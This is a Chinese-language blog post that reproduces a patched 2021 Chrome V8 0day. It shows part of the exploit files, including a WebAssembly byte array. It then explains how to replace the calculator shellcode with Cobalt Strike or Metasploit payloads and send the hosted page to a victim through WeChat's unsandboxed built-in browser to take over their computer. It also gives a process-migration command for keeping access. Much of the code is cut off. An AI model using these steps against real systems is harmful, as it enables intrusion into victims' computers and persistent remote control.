背景
2021年护网期间,国外安全研究员发布了chrome浏览器0day漏洞的poc,影响范围覆盖所有chrome版本(Google现已发布修复漏洞的正式版本 90.0.4430.85),受害者只需访问一个含有漏洞利用代码的网页,攻击者便可控制接管计算机。但利用此漏洞需关闭chrome浏览器的沙盒模式,默认情况下此模式处于开启状态,想利用成功还需攻击者在诱导即其他方面多下点功夫。
虽然chrome浏览器的沙盒默认处于开启状态,难以利用成功。但微信自带浏览器同样使用chrome内核,且沙盒默认处于关闭状态,利用微信将是一个不错的选择,目前腾讯官方已发布了修复漏洞的微信版本3.2.1.154。
复现过程
弹计算器
将exploit.html和exploit.js文件放在同一目录
exploit.html:
<script src="exploit.js"></script>
exploit.js:
1 | var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) |
chrome浏览器关闭沙盒(–no-sandbox),直接访问exploit.html,即可触发漏洞,执行shellcode

cs上线
既然顺利执行了弹计算器的shellcode,那么同样可以将shellcode换成cs或者metasploit的shellcode使其上线
使用cs创建监听,生成c语言的64位shellcode
将shellcode的”\“全局替换为”,0”

将替换后的shellcode放入cs.html的shellcode数组

cs.html:
1 | <script> |
chrome关闭沙盒,直接打开cs.html

上线成功

微信上线
同样使用cs生成c语言的32位shellcode(64位shellcode复现失败)
将”\“全局替换位”,0”,放入weixin.html的shellcode数组
weixin.html:
1 | <script> |
将weixin.html放到vps上或者python起一个本地服务,将链接通过微信发给对方

可以看到微信自带浏览器以关闭沙盒的方式打开

微信上线成功

后话
目前厂家都已经修复了相关漏洞,另外,微信上线时,一旦关闭自带浏览器会话也将随之丢失,所以拿到权限第一件事还是将进程迁移,metasploit有自动迁移进程设置(set autorunscript migrate -n explorer.exe),而cs应该也有相关插件可以做到。还看到其他文章appscan也可以通过利用此方式反制红队,以后有机会试试。